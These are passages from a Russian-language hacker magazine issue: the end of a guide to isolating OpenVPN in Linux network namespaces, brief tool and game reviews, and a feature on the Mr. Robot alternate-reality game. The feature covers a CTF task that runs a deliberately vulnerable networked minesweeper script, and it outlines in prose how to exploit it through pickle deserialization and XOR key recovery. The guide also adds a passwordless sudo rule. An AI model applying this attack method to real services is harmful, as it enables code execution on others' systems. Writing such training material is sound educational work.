       printf "%s\n" "[S:] starting with $conf_file"
       openvpn ‐‐writepid "$pid_file" ‐‐log "$log_file" ‐‐config "
$conf_file" &>/dev/null &
   else
       die "[E:] $conf_file not found"
   fi
}
stop_() {
   if [ ‐f "$pid_file" ]; then
       _PID=$(cat "$pid_file")
       ## PID‐файл нашли, теперь проверим, существует ли процесс
       ## с номером, указанным в файле
       if ps ‐ef | grep "$_PID" | grep ‐v grep &>/dev/null; then
           printf "%s\n" "[S:] stopping openvpn process with PID 
$_PID"
           kill $_PID
       else
           printf "%s\n" "[E:] $pid_file file exists, but actual 
process id not found"
       fi
       [ ‐f "$log_file" ] && rm ‐f "$log_file" &>/dev/null
       [ ‐f "$pid_file" ] && rm ‐f "$pid_file" &>/dev/null
   fi
   ## netns может остаться, если ты разлогинился с включенным 
OpenVPN.
   ## Проверим, существует ли процесс, но уже не по PID‐файлу 
   ## (его может не быть), а спарсим название конфиг‐файла, 
   ## с которым он должен был быть запущен.
   ## Если процесс не найден, но netns каким‐то чудом существует,
   ## скорей всего, OpenVPN был убит ‐9 сигналом
   if ! ps ‐ef | grep ‐iE "openvpn.+$(basename $conf_file)$" &>/dev/
null && [ ‐f "/var/run/netns/$netns_name" ]; then
       ip netns del $netns_name
       die "[W:] probably openvpn was killed with SIGKILL, deleting 
$netns_name netns"
   fi
}
(( $UID != 0 )) && die "[E:] must run as root"
(( $# < 1 )) && usage
case "$1" in
   start)
       start_
       ;;
   stop)
       stop_
       ;;
   restart)
       "$0" stop
       sleep 5
       "$0" start
       ;;
   exec)
       shift
       ip netns exec $netns_name sudo ‐u $x_user "$@"
       ;;
   *)
       usage
       ;;
esac

Рас смот рим  при меры  исполь зования.  Под клю чим ся  к  сер веру,  про верим
наличие  netns  и  выпол ним  нес коль ко  команд.  Если  не  соз дает ся  netns,  то
смот ри  , под сказ ка, ско рее все го, там./tmp/ovpn_log.txt

$ sudo ./openvpn_netns.sh start
$ ip netns
$ sudo ./openvpn_netns.sh exec ping ‐c 4 8.8.8.8
$ sudo ./openvpn_netns.sh exec curl ifconfig.co
$ sudo ./openvpn_netns.sh exec firefox &>/dev/null &

Firefox успешно запус тился в netns

Кста ти,  будь  вни мате лен  при  выпол нении  команд  от  рута  и  перево де  их
в  фоновый  режим  (   в  кон це  коман ды).  В  этом  слу чае  коман да  сра бота ла
без проб лем, так как я недав но вво дил пароль. Если бы прош ло боль ше вре‐ 
мени  и  я  бы  попытал ся  запус тить  таким  обра зом  ,  то  в  ито ге
в фоновый режим ушел бы зап рос от   ввес ти пароль. Приш лось бы поль‐ 
зовать ся  коман дами  ,    и  CTRL‐Z.  Что бы  упростить  себе  жизнь,  добавь
сле дующую строч ку в  , где eakj — имя поль зовате ля, конеч но.

&

firefox
sudo

bg fg
/etc/sudoers

eakj ALL=NOPASSWD:/путь/к/openvpn_netns.sh

Это поз волит выпол нять скрипт с помощью  , не зап рашивая пароля.sudo
Про буем оста новить   и уда лить netns.openvpn

$ sudo ./openvpn_netns.sh stop
$ ip netns

Ос танов ка OpenVPN и netns успешна

Фай лы .service для systemd
В  качес тве шаб лона  я  брал фай лы  .service  из  .  Прис‐ 
тупим к модифи кации.

бло га Ости на  Адам са

Для  начала  нуж но  соз дать  дирек торию 
  и  записать  туда  .  Опять  же,  в  Ubuntu  это,

ско рее все го, будет прос то  .

/etc/systemd/system/openvpn‐
client@.service.d/ netns.conf

/etc/systemd/system/openvpn@.service.d/

$ sudo mkdir /etc/systemd/system/openvpn‐client@.service.d/
$ sudo tee /etc/systemd/system/openvpn‐client@.service.d/netns.conf <
< EOF
[Unit]
Requires=netns@%i.service
After=netns@%i.service
[Service]
# Needed to call setns() as ip netns does
CapabilityBoundingSet=CAP_SYS_ADMIN
EOF

Те перь соз дадим файл   в  . Бла года‐ 
ря  кон фигу,  который  добави ли  ранее,  этот  сер вис  будет  стар товать 

 
. Он соз даст netns с таким же име нем, как и кон фиг для OpenVPN.

netns@.service /etc/systemd/system/
пос ле

пер вого  запус ка systemctl  start  openvpn‐client@openvpn‐client.
conf

$ sudo tee /etc/systemd/system/netns@.service << EOF
[Unit]
Description=network namespace %I
[Service]
Type=oneshot
ExecStart=/usr/sbin/ip netns add %I
ExecStop=/usr/sbin/ip netns del %I
RemainAfterExit=yes
EOF

Пос мотреть ста тус мож но при помощи коман ды

$ systemctl status netns@openvpn_client

А убе дить ся в  том, что он соз дал netns, — коман дой  .  Так же  тут
есть один нюанс: пос ле оста нов ки сер виса   коман дой

$ ip netns
openvpn

$ sudo systemctl stop openvpn‐client@openvpn_client.conf

сер вис   не оста новит ся, а зна чит, и netns про дол жит
жить.

netns@openvpn_client

Так же при дет ся нем ного под пра вить  .ovpn_control.sh
1. До бавить рас позна вание име ни кон фиг‐фай лов.
2. Уб рать строч ку соз дания netns, так как это уже будет делать 

.
netns@.ser­

vice

3. Пос коль ку имя netns теперь зависит от име ни кли ент ско го кон фига Open‐
VPN, нуж но соз давать новые дирек тории для  .resolv.conf

4. Уда лить  , так как   его все рав но не вызыва ет.down systemd

#!/usr/bin/bash
DNS1=208.67.222.222
DNS2=208.67.220.220
basename="$(basename "$config")"
ns="${basename%.conf}"
case $script_type in
   up)
       /usr/sbin/ip link set $dev netns $ns
       /usr/sbin/ip ‐n $ns address add $ifconfig_local/30 dev $dev
       /usr/sbin/ip ‐n $ns link set $dev up mtu $tun_mtu
       [ ! ‐f /etc/netns/$ns/resolv.conf ] && mkdir ‐p /etc/netns/
$ns
       echo "nameserver $DNS1" > /etc/netns/$ns/resolv.conf
       echo "nameserver $DNS2" >> /etc/netns/$ns/resolv.conf
       ;;
   route‐up)
       /usr/sbin/ip ‐n $ns route add default dev $dev
       ;;
esac

Сто ит пом нить, что этот скрипт уже не подой дет для исполь зования с 
,  поэто му рекомен дую сох ранить    для 

под дру гим наз вани ем, а так же не забыть под пра вить его в 
. Пос мотрим, как фай лы .service работа ют на прак тике.

openvp‐
n_netns.sh ovpn_control.sh systemd

openvpn_client.
conf

За пус каем кли ент ский кон фиг через  .systemd

$ sudo systemctl start openvpn‐client@openvpn_client
$ sudo systemctl status openvpn‐client@openvpn_client
$ ip netns

За пуск сер виса openvpn_client про шел успешно

Про верим, как дела у сер виса  :netns@openvpn_client

$ systemctl status netns@openvpn_client.service

Но  уже  по  пре дыду щему  скрин шоту  мож но  ска зать,  что  все  хорошо,  так
как сер вис виден в спис ке  .$ ip netns

netns@openvpn_client стар танул без проб лем

Пи сать  для    отдель ный  скрипт  выпол нения  команд  не  вижу  смыс ла,
так как это однос троч ник. :)

systemd

$ sudo ip netns exec openvpn_client ping ‐c 2 8.8.8.8
$ sudo ip netns exec openvpn_client curl ifconfig.co
$ sudo ip netns exec openvpn_client sudo ‐u eakj firefox &>/dev/null 
&

Од нос троч ники

Ос тановим кли ент:

$ sudo systemctl stop openvpn‐client@openvpn_client.service

А затем убе дим ся, что netns не уда лил ся ( ). Что бы уда лить, исполь‐ 
зуй коман ду

ip netns

$ sudo systemctl stop netns@openvpn_client.service

netns оста ется под нятым пос ле оста нов ки кли ент ско го OpenVPN‐сер ‐
виса

ЗАКЛЮЧЕНИЕ
Linux  network  namespaces —  это  мощ ный  инс тру мент,  который  с  лег костью
поз воля ет изо лиро вать сетевые ресур сы сис темы и может ока зать ся полез‐ 
ным не толь ко для круп ных про ектов, но и дома. И опи сан ный в статье трюк
с VPN — это лишь одно из воз можных при мене ний.
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TLDR PAGES — ЗАМЕНА СПРАВКЕ MAN, ПОКАЗЫВАЮЩАЯ
ТОЛЬКО САМОЕ ВАЖНОЕ1
Что ты дела ешь каж дый раз, ког да набира ешь коман ду man в Linux
или  Unix?  Пра виль но:  тяжело  взды хаешь  и  мораль но  готовишь ся
к  тому,  что сей час при дет ся  выис кивать  кру пицы нуж ной информа‐ 
ции в огромном полот не тек ста. Под робное опи сание нуж но далеко
не всег да: чаще все го дос таточ но пары стро чек.

 — это аль тер натива для man, которая выводит лишь
крат кую справ ку с наибо лее полез ными при мера ми. Ну, нап ример,
набира ешь   и видишь, как делать вывод в стол бик, показы‐ 
вать  допол нитель ную  информа цию,  отоб ражать  скры тые  фай лы,
сор тировать  по  раз меру  и  по  дате  и  выводить  раз мер  фай лов
в  удоб ном  для  людей  фор мате  —  в  килобай тах,  мегабай тах
и  гигабай тах,  если  файл  дос таточ но  боль шой.  Стоп‐стоп,  неуже ли
всег да так мож но было делать?!

TLDR pages

tldr ls

Ес ли  у  тебя  в  сис теме  есть  Node.js,  то  для  уста нов ки  TLDR  pages
дос таточ но наб рать  . Если Node спе циаль но
для это го ста вить не хочет ся, то можешь поп робовать аль тер натив‐ 
ные вари анты: «кли енты» tldr пор тирова ны на все популяр ные скрип‐ 
товые язы ки и ста вят ся через их менед жеры пакетов. Но будь осто‐ 
рожен:  сами  фай лы  докумен тации  надо  будет  ста вить  отдель но,
а  это  тре бует  некото рых  уси лий.  Чес тно  приз нать ся,  вер сию
на Python мне так и не уда лось зас тавить видеть базу.

npm install ‐g tldr

Ну и на край ний слу чай есть   — прос‐ 
то впи ши коман ду в поис ковую стро ку свер ху и наж ми Enter. Удоб но,
если  ты,  нап ример,  сидишь  на  вин довой  машине  и  под клю чил ся
к сер веру на Linux уда лен но.

ве бовая вер сия TLDR pages

NOTION — НЕОБЫЧНАЯ СИСТЕМА ВЕДЕНИЯ ЛИЧНЫХ И
КОМАНДНЫХ ЗАМЕТОК2
При ложе ний и сер висов для ведения заметок — не счесть. Одна ко
спо собы  работы,  спе цифи чес кие  нуж ды  и  тре бова ния  у  каж дого
поль зовате ля тоже свои. Для кого‐то важ но мобиль ное при ложе ние,
для  кого‐то  —  сов мес тное  редак тирова ние,  для  кого‐то  —  воз‐ 
можность  добав лять  к  замет кам  раз ные  спис ки  и  чек‐лис ты.  Ну
а кому‐то подавай всё сра зу.

Сер вис    вклю чает  в  себя  все  вышепе речис ленное.  Замет ки
здесь хра нят ся в виде дре вовид ной струк туры, где каж дая пап ка так‐ 
же  явля ется  стра ницей,  на  которую  авто мати чес ки  добав ляют ся
ссыл ки  на  замет ки,  лежащие  внут ри.  Notion  отли чает ся  богаты ми
воз можнос тями  по  офор мле нию  стра ниц:  мож но  выб рать  шаб лон,
пос тавить заг лавную кар тинку, добавить к замет ке кар тинки и видео
и так далее.

Notion

К  редак тирова нию  лег ко  приг ласить  кол лег  и  в  слу чае  надоб‐ 
ности — опуб ликовать отдель ные замет ки в виде веб‐стра ниц, что‐ 
бы к ним был дос туп без авто риза ции. К каж дой стра нице или даже
к отдель ному эле мен ту мож но добавить ком мента рий. Все это дела‐ 
ет Notion инте рес ным выбором для ведения докумен тации в неболь‐ 
ших коман дах.

На пос ледок — неболь шая хит рость, которая каса ется авто риза ции.
Зарегис три ровать ся мож но через поч ту или акка унт Google. Во вто‐ 
ром слу чае Notion зап росит дос туп к кон тактам, но если отка зать ся,
то будет пред ложено вой ти без это го. Увы, этот танец потом при дет‐ 
ся пов торять каж дый раз.

AIRMASH — МАСШТАБНОЕ ВОЗДУШНОЕ СРАЖЕНИЕ В
ТВОЕМ БРАУЗЕРЕ3
Бра узер ные  игры,  которые  сто ит  толь ко  открыть,  что бы  ока зать ся
в  пылу  бит вы,  —  это  осо бо  бес смыс ленная  и  бес пощад ная  раз‐ 
новид ность  тай мкил леров. Пару  лет  назад  все  про сажи вали  вре мя
в  Agar.io,  но  с  тех  пор  появи лись  новые  дос той ные  пред ста вите ли
жан ра.

В   тебе пер вым делом пред лага ют ввес ти имя, выб рать один
из  трех  реги онов  (обыч но  чем  бли же  сер вер,  тем  мень ше  лагов)
и режим игры: все про тив всех, зах ват фла га или «царь горы». Пос ле
это го  ты  ока зыва ешь ся  за  штур валом  истре бите ля  и  дол жен
начинать  уво рачи вать ся  от  вра жес ких  ракет  и  пус кать  свои  одну
за дру гой.

Airmash

На  выбор —  пять  летатель ных  средств,  у  каж дого  свои  осо бен‐ 
ности.  Нап ример,  истре битель,  который  выда ют  по  умол чанию,
может  уско рять ся,  если  зажать  Shift,  вер толет  уме ет  летать  вбок,
а стелс, понят ное дело,  ковар но пря чет ся. Все самоле ты при этом
с лег костью лета ют задом наперед, что выг лядит забав но, но никак
не меша ет делу (даже помога ет).

Иг ра  отлично  работа ет  в  бра узе ре  и  изна чаль но  ска чива ет  все‐ 
го  2,8  Мбайт.  Мне  так же  уда лось  поиг рать  на  iPad,  но  экранное
управле ние не идет ни в какое срав нение с кноп ками.
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СЦЕНА

Не  важ но,  смот ришь  ты  этот  вне зап но  популяр ный  сери ал
про  хакеров  или  нет:  пас халки,  эле мен ты  игры  в  аль тер‐ 
натив ную  реаль ность  и  про чая  сопутс тву ющая  раз вле куха
в  дан ном  слу чае  чуть  ли  не  инте рес нее  самого  сюжета.
В  декаб ре  закон чился  тре тий  сезон  «Мис тера  Робота»  —
самое вре мя погово рить о том, что про исхо дило в сери але
и вок руг него.

В ПОГОНЕ ЗА КУРОЧКОЙ
20 июля 2017 года, выс тавка «Комик‐Кон» в Сан‐Диего. Перед глав ным вхо‐ 
дом сто ит груп па про тес тующих с пла ката ми. При бли жай шем рас смот рении
мож но  уви деть,  что  не  нра вит ся  им  Ecoin  —  вымыш ленная  крип товалю та
из сери ала Mr. Robot. Что ж, они про тес туют не зря — ведь непода леку откры‐ 
лось целых два мес та, свя зан ных с Ecoin.

Од но из них — это банк E‐Corp (злой кор порации из сери ала), где жела‐ 
ющие  мог ли,  отсто яв  оче редь,  получить  нем ного  мер чендай за  и  кре дит ную
кар ту с десятью е‐монета ми. С этой кар той мож но было отпра вить ся в рас‐ 
полага ющий ся непода леку рес торан чик Red Wheelbarrow, который потом сыг‐ 
рает боль шую роль в «Мис тере Роботе».

Оба  мес та,  как  нес ложно  догадать ся,  откры лись  спе циаль но  в  качес тве
замас кирован ной рек ламы сери ала. На получен ные е‐монеты в «Крас ной тач‐ 
ке»  посети тели  мог ли  отве дать  гам бургер  со  сви ниной  и  выпить  молоч ный
кок тей ль. Но боль шинс тво людей шло туда не за этим, а для того, что бы поис‐ 
кать под сказ ки к ARG.

INFO

Иг ры  в  аль тер натив ной  реаль нос ти  (Alternative
Reality Games, ARG) — это не компь ютер ные и не
нас толь ные игры, а неч то совер шенно иное. Соз‐ 
датели  «аль тер натив ной  реаль нос ти»  при думы‐ 
вают  загад ки,  соз дают  сай ты  несущес тву ющих
ком паний, дела ют от их име ни рас сылки и иног да
даже рас кла дыва ют под сказ ки в реаль ном мире,
оставля ют  записи  на  реаль ных  авто ответчи ках
и  устра ивают  дру гие  раз вле чения.  Игро ки  ищут
зацеп ки и идут по сле ду, рас путывая детек тивный
сюжет.

В под сказ ках недос татка не было, при чем некото рые никуда не вели и толь ко
сби вали с тол ку ищу щих — как, нап ример, висев шая на сте не кар та заведе‐ 
ний, в которых яко бы при нима ли Ecoin. Говорят, любите ли «Мис тера Робота»
успе ли  подос тавать  их  вла дель цев  телефон ными  звон ками.  Еще  всем,  кто
спра шивал о при еме на работу, сот рудни ки выдава ли блан ки для запол нения.

Ключ к сле дующе му шагу на самом деле крыл ся в дос ке, на которой мелом
была  написа на  цитата  из    Уиль яма  Кар лоса  Уиль ямса:  «Так
мно гое зависит от крас ной тач ки, пок рытой дож девой водой, сто ящей воз ле
белых цып лят».

сти хот ворения

Мож но  было  обра тить  вни мание,  что  в  рес торане  висели  изоб ражения
коровы, свиньи и курицы, а подава ли толь ко сви ное блю до и молоч ный кок‐ 
тей ль. Курица отсутс тво вала, зато нарисо ван ный на дос ке цып ленок говорил:
«Follow us».

Те,  кто  догадал ся  вый ти  на  ули цу  и  поис кать  дру гие  изоб ражения  кур,
не  были  разоча рова ны.  Сле дуя  от  одно го  к  дру гому,  игро ки  находи ли  пла‐ 
каты, на каж дом из которых была спря тана часть телефон ного номера.

Зак рытый магазин Mr. Robot, который встре чал ся по пути

Но мер  приш лось  набирать  мно го  и  час то:  боль шинс тво  звон ков  сры вались
или  ник то  не  отве чал.  Но  если  уда валось  доз вонить ся,  то  голос  в  труб ке
называл пер вую часть клю чевой фра зы с пла катов. В ответ тре бова лось наз‐ 
вать  вто рую. Зву чало это при мер но  так:  «Если потянуть  за нуж ные веревоч‐ 
ки…» —  говорит  голос  из  труб ки,  а  игрок  отве чает:  «Мари онет ка  зап ляшет
как тебе угод но».

Тем, кто отве тил вер но, сооб щали вре мя и мес то, в которое нуж но явить ся
на сле дующий день. На ука зан ном перек рес тке учас тни ков прик лючения ждал
парень в чер ном балахо не. Он про сил предъ явить запол ненный бланк соис‐ 
кателя, пос ле чего пред лагал прой ти за ним.

Вот  тут  начина ется  самый  зах ватыва ющий  момент.  Игро ка  про вожа ли
обратно к  «Крас ной  тач ке», но под водили не  к основно му вхо ду, а с  зад ней
сто роны — к две рям, ведущим в под валь ное помеще ние. Поп росив вре мен‐ 
но оста вить мобиль ный телефон, игро ка пус кали внутрь.

Тем ное  под валь ное  помеще ние  пол ностью  пов торяло  сце ну,  в  которой
Андже ла жда ла звон ка от Белой Розы. Тот же стол со ста рин ным Commodore
64,  тот  же  аква риум,  та  же  крас ная  телефон ная  труб ка.  За  компь юте ром
сидел  человек,  оде тый  в  кос тюм  голово реза  «Тем ной  армии»,  —  как  и
положе но, в мас ке демона.

В сери але воп росы задава ла малень кая девоч ка

Он задавал игро ку нес коль ко воп росов, точ но так же, как их задава ли Андже‐ 
ле. «Во сколь ко лет ты осоз нал, что оди нок?», «Рас тение, минерал или живот‐ 
ное?»,  «Боишь ся  ли  ты  тем ноты?».  Отве чать  на  все  воп росы  мож но  было
как угод но, кро ме пос ледне го — на него тре бова лось нес коль ко раз под ряд
дать отри цатель ный ответ.

«Тог да  смот ри», —  говорит  человек  в  мас ке,  вык люча ет  свет  и  вклю чает
уль тра фиоле товую лам пу. На сте не нап ротив загора ются граф фити: какие‐то
цитаты, изоб ражение белой розы и круп ными бук вами сло ва «Чего жела ют те,
кто  во  тьме?». Игрок отве чает:  «Све та»,  граф фити  тух нут,  и  свет  загора ется
над аква риумом. Телефон на сто ле зво нит.

Под няв труб ку, игрок слы шит голос Белой Розы. Она сооб щает, что выдели ла
на этот зво нок в точ ности минуту и двад цать семь секунд и про сит не переби‐ 
вать. Затем чита ет длин ный монолог о том, что падение E‐Corp было толь ко
началом  и  что  до  кон ца  суж дено  дожить  не  всем,  намекая  на  гря дущие
события в сери але. Слы шен звук тай мера, и зво нок закан чива ется.

Под конец игро ку выда ют кон верт и пред лага ют взгля нуть на фотог рафии
в нем. Это фото со съемок треть его сезона: Элли от перед логоти пом E‐Corp,
кур тка  Mr.  Robot,  Дар лен  в  ком пании  ази атско го  муж чины  и  так  далее.
Забирать  фотог рафии  не  раз реша ют.  На  выходе  игро ку  мол ча  воз вра щают
его телефон, на чем квест и закан чива ется.

WWW

Пол ные  отче ты  оче вид цев  мож но  почитать
на Reddit:   и  . Есть и  .пер вый вто рой фо тог рафии

ВЕЧЕРИНКА В СТИЛЕ MR. ROBOT
Квест на «Комик‐Коне» в Сан‐Диего пока что был одним из самых кру тых эпи‐ 
зодов ARG, но он далеко не единс твен ный. Срав нимый трюк соз датели «Мис‐ 
тера  Робота»  про вер нули  5  октября  —  на  этот  раз  на  нью‐йорк ском
«Комик‐Коне».  Для  нес коль ких  сотен  пок лонни ков  сери ала  устро или
«вечерин ку запус ка Ecoin». Их жда ло шам пан ское и канапеш ки.

Для  некото рых  гос тей  (пред положи тель но  —  игро ков  в  ARG)  при гото вили
иное раз вле чение:  к ним незамет но под ходили и приг лашали вый ти на пар‐ 
ковку  и  най ти  чер ный фур гон. Отту да  их  отправ ляли  на  «мис сию»:  тре бова‐ 
лось  прик леить  пла кат  Fsociety,  нанес ти  граф фити  или  еще  что‐нибудь
в таком духе.

В середи не вечерин ки выс тупле ние гла вы E‐Corp было прер вано отклю чени‐ 
ем све та.  Ког да  загоре лись  крас ные  лам пы,  пов сюду были раз вешаны бан‐ 
неры  Fsociety,  гигант скую  бук ву  E,  висев шую  в  цен тре  зала,  спус тили  вниз,
на сце не появи лись люди в мас ках.

Зри тели  не  отста вали  и  тоже  понаде вали  мас ки,  которые  им  были  выданы
заранее. Закон чилось все показом трей лера треть его сезона.

WWW

 мож но почитать на mtv.‐
com,   — на сай те USA Network.
Под робнее о вечерин ке

боль ше фото

YOU’VE GOTTA BE FUCKING KIDDING ME
Обыч но  в  ARG  решение  одной  загад ки  ведет  к  дру гой  и  игро ки  дви жут ся
по  так  называ емой  «тро пе»  (trail).  В  ARG  Mr.  Robot  все  слег ка  по‐дру гому:
троп мно жес тво и они быс тро закан чива ются. Начало — это обыч но ссыл ка
или IP, под смот реть которые мож но в самом сери але, если вни матель но изу‐ 
чать кад ры с экра нами. Кон цовка и наг рада — какой‐нибудь допол нитель ный
матери ал к сери алу.

Один из излюблен ных при емов соз дателей «Мис тера Робота» — это под‐ 
дель ные  шел лы  и  рабочие  сто лы,  вза имо дей ство вать  с  которы ми  игро ки
могут  через  бра узер.  На  вре мя  показа  треть его  сезона  основным  мес том
для таких раз вле чений стал сайт    (или WIMR, как его ста ли
сок ращать).  Здесь  скон цен три рова на  мас са  все го  инте рес ного,  и  по  мере
выхода новых серий эта кол лекция попол няет ся.

whoismrrobot.com

Боль шая часть матери алов соб рана в пап ке Origin. К при меру, отсю да мож но
запус тить  игру  endgame,  которая  уже  сыг рала  свою  роль  в  ARG  год  назад.
Есть и кое‐что новень кое, нап ример нес коль ко стра ниц из романа «Пляж ное
полотен це», который в сери але пишет Ирвинг.

Лю бите ли ста рых компь юте ров оце нят эму лятор Commodore 64.

Продолжение статьи →
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На нем мож но поиг рать в игру Land of Ecodelia — ту самую, что Андже ла видит
в тем ной ком нате. Для это го нуж но наб рать

LOAD"$",8
LIST
LOAD "Land of Ecodelia",8
RUN

Все  осталь ные  игры,  увы,  не  работа ют  —  это  прос то  отсылка  к 
. Собс твен но, и Land of Ecodelia — это не игра, а сбор ник стран ных воп‐ 

росов и кра сивых кар тинок.

Ра дуж ной
серии

За то тут скры та еще одна неболь шая загад ка: если 
 из воп росов и сло жить их, то получит ся пос ледова тель ность 

. Декоди руем из Base64 и получа ем сло во  . Его мож но ввес ти в  тер‐ 
минале на   и получить вот такой ответ.

взять под све чен ные жел‐ 
тым бук вы cmVh‐
bA real

whoismrrobot.com

Вот так не осо бен но зре лищ но закан чива ется одна из мно гих троп этой ARG.

Дру гие инте рес ные сай ты
 — сайт Ecoin.• https://my.e‐coin.com/

 — сайт «Крас ной тач ки».• https://www.red‐wheelbarrow.com

  —  под дель ный  под реддит,
на котором во вто ром эпи зоде обща ются сот рудни ки E‐Corp.

• https://www.reddit.com/r/inside_e_corp/

  —  поч та  E‐Corp.  Логин  RETRO
и пароль PORTAL, получен ные игро ками, поз воля ют ска чать PDF с пре зен‐ 
таци ей Элли ота.

• https://webmail.e‐corp‐usa.com/owa/

 — служ ба дос‐ 
тавки E‐Corp. Под ходящие логин и пароль так и не были най дены.

• https://www.e‐corp‐usa.com/cp/directory/shipping/1088989/

  или    —  IP‐камера,  через
которую Тай релл смот рел на сво его ребен ка. Ребен ка боль ше не показы‐ 
вают  (что  логич но),  но  из  белого  шума  игро кам  уда лось  дос тать  фра зу
«we’re all mad here» («Все мы здесь не в сво ем уме») из «Али сы в Стра не
чудес».

• https://y9bukwer.bxjyb2jvda.net/ 192.251.68.238

Сей час мож но пос мотреть толь ко на над пись Stream error

 — неболь шой тек сто вый
квест, выпол ненный в качес тве скил ла для Amazon Echo.

• https://www.amazon.com/gp/product/B076K7QL3V

  —  под дель ный  фай ловый  бра узер  Ubuntu
на китай ском. В пап ках мож но най ти кар тинку с дес кто пом и пик тограм му
мас ки. Пик тограм ма в реаль нос ти гигант ская, в одном из пик селей наш ли
оче ред ную цитату из «Али сы в Стра не чудес».

• https://y8agrfx3.bxjyb2jvda.net

 — сайт с резуль татами монито рин га Kibana. Ничего цен ного на нем
пока не най дено.

• https://ycg67gca.bxjyb2jvda.net/app/kibana/#/dashboard/Priority‐Host_Moni‐
toring

 —  псев дотер минал  с  дос тупом  к  аппа рат‐ 
ному крип тогра фичес кому модулю E‐Corp. Наб рав пароль z1on0101 и PED
022350, при над лежащие сот рудни ку E‐Corp  , мож но  уви‐ 
деть  то  же,  что  видела  Андже ла,  копируя  клю чи  под писи  для  про шив ки
к ИБП.

• https://yakkqwhz.bxjyb2jvda.net

Фрэн ку Боуме ну

  —  патч  про шив ки
ИБП.  Игро кам  не  без  тру да  уда лось  выудить  из  него  оче ред ную  цитату
из «Али сы в Стра не чудес»: «Надо бежать как минимум вдвое быс трее».

• https://ycg67gca.bxjyb2jvda.net/files/ups_640_patch.zip

•   —  тер минал  на  компь юте ре,  с  которо го  Элли от
обновлял  про шив ку  ИБП.  Наб рав  ту  же  пос ледова тель ность  команд,  что
и он, мож но прой ти через его экспи риенс. Вот коман ды:

http://i242.bxjyb2jvda.net

unzip ups_fw_patch.zip
gpg ‐‐verify hashes.asc
sha256sum ‐‐check hashes.asc
scp apc* upsadmin@192.251.68.229:/upsfw
ssh upsadmin@192.251.68.229

  или    —  тер минал,  изоб ража‐ 
ющий SSH на источни ке бес перебой ного питания.

• http://yac9cl78.bxjyb2jvda.net 192.251.68.229

  —  IP,  зас вечен ный  в  девятом  эпи зоде.  Файл    —
это  зазипо ван ная  кар тинка  в Base64.  Рас крыв, мож но  уви деть  две  розы.
А еще здесь по   зас теганог рафиро ван код.

• 192.251.68.228 index

ме тоду LSB

 — веб‐админка C&C‐бот нета «Тем ной армии». Исполь зуя
логин  garyhost  из  сери ала  и  код  из  кар тинки  с  розой  в  качес тве  пароля,
мож но зай ти внутрь и пос мотреть. Если выписать наз вания дос топри меча‐ 
тель нос тей по ука зан ным геокоор динатам, получа ется сло во CATOPTRIC.

Его  мож но  исполь зовать  в  качес тве  пароля  на  сай те  whoismrrobot.com
для дос тупа к китай ско му дес кто пу DA_remote. Там, помимо про чего, есть
ауди оза пись звон ка Белой Розы.

• 192.251.68.236

•   —  файл  с  парой  геокоор‐ 
динат, которые ука зыва ют на мес то в пус тыне недале ко от гра ницы меж ду
Кон го  и  Анго лой  (со  сто роны  Кон го).  Съез дить  и  пос мотреть,  не  под‐ 
ложили ли там чего‐нибудь соз датели сери ала, ник то пока не отва жил ся.

https://www.dropbox.com/s/0cp05oezsolrn4d/

CAPTURE THE FLAG
Все,  что  в  «Мис тере  Роботе»  показы вают  на  экра нах  компь юте ров,  более
или менее реаль но. Да, уяз вимос ти, которы ми поль зуют ся пер сонажи, иног да
не самые све жие,  но это не меша ет раз гля дывать  стоп‐кад ры и  выис кивать
зна комые вещи.

Пер вая серия треть его сезона в этом пла не порадо вала осо бен но. В ней
Элли от,  лишен ный  компь юте ра,  заходит  в  под вал,  где  про водит ся  сорев‐ 
нование  нью‐йорк ской  груп пы  DEF  CON.  Элли оту  нуж но  все го  лишь  сесть
за сво бод ный компь ютер, что бы занять ся сво ими важ ными делами. Но что бы
его пус тили за кла виату ру, при ходит ся в сроч ном поряд ке помочь учас тни ку
CTF спра вить ся с задани ем.

Ка залось  бы,  реализм  так  себе —  все  поте ют  над  задани ем  кучу  вре мени,
а  наш  компь ютер ный  гений  реша ет  его  за  пару  минут.  Но  сама  задач ка,
как  ока залось,  не  выдума на  для  сери ала,  а  впол не  нас тоящая.  Мало  того,
зри телям пре дос тавля ется воз можность ска чать ее и решить самос тоятель‐ 
но!

Ес ли  ты  еще  не  успел  зак рыть  ,  запус кай  тер минал  в  раз‐ 
деле  Origin  и  пос мотри,  что  выводит  .  Сре ди  скры тых  папок  есть    —
заходим и откры ваем файл   при помощи    (дру гие  при‐ 
выч ные коман ды не работа ют).

whoismrrobot.com
ls ctf

minesweeper.py open

Ко пиру ем  себе  содер жимое,  сох раня ем  в  файл  и  запус каем  его  в  Linux
или macOS.

WARNING

По  сути,  ты  запус каешь  у  себя  шелл:  скрипт
заведо мо  уяз вим  и  дер жит  откры тый  порт.  Убе‐ 
дись, что он недос тупен извне, а не то в бот нете
«Тем ной  армии»  ста нет  одной  машиной  боль ше
(пос леднее — шут ка… ско рее все го).

Скрипт будет при нимать коман ды на пор те 1024, так что откры вай еще один
тер минал и под клю чай ся:

$ netcat localhost 1024

Ура, мож но играть в «Сапера» из коман дной стро ки! Коман да    (где  x
и y — коор динаты от 1 до 15) откры вает клет ку, коман да   ста вит флаг, 
выдаст стро ку сей ва,   вос ста новит из нее игру, а   или   — выход.

o x, y
f x, y s

l q x

Продолжение статьи →
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Но пос коль ку это CTF, нас тоящая победа не в  том,  что бы открыть все поле,
а в том, что бы получить флаг, то есть уда лен но счи тать про изволь ный файл.
Как это сде лать? В сери але Элли от говорит учас тни ку: «Тебе поз воля ют сох‐ 
ранять  и  заг ружать  игру,  что бы  вос ста новить  все  мины  и  откры тые  клет ки.
В этом и сос тоит уяз вимость. Игра верит тем дан ным, что ты ей дашь, что бы
вос ста новить дос ку. Отра ви дан ные, и можешь запус кать любой код».

Учас тник  не  верит:  «Я  уже  про бовал.  Не  выходит.  Сер вер  под писыва ет
сей вы  сво им  клю чом,  и  без  него  не  сой дет ся  кон троль ная  сум ма».  На  что
Элли от  отве чает:  «Поэто му  при дет ся  играть  в  игру,  пока  не  най дешь  все
мины. Потом,  зная дос ку,  ты смо жешь вычис лить  ключ. Ну и  ты  уже заметил
уяз вимость перед инъ екци ей кода в хен дле ре фун кции сох ранения, прав да?»

Все это — не выдуман ная режис сером око леси ца, как оно быва ет в дру гих
филь мах,  а  нас тоящие  под сказ ки.  Игра  мар шализу ет  объ ект  дос ки
при помощи питонов ской фун кции  , а ее при желании 
выпол нять  что  угод но.  Ключ  зашиф рован  при  помощи  XOR,  а  зна чит,
вытащить его мож но, прос то вос ста новив исходную стро ку (сос тояние дос ки)
и передав на сер вер.

pickle мож но зас тавить
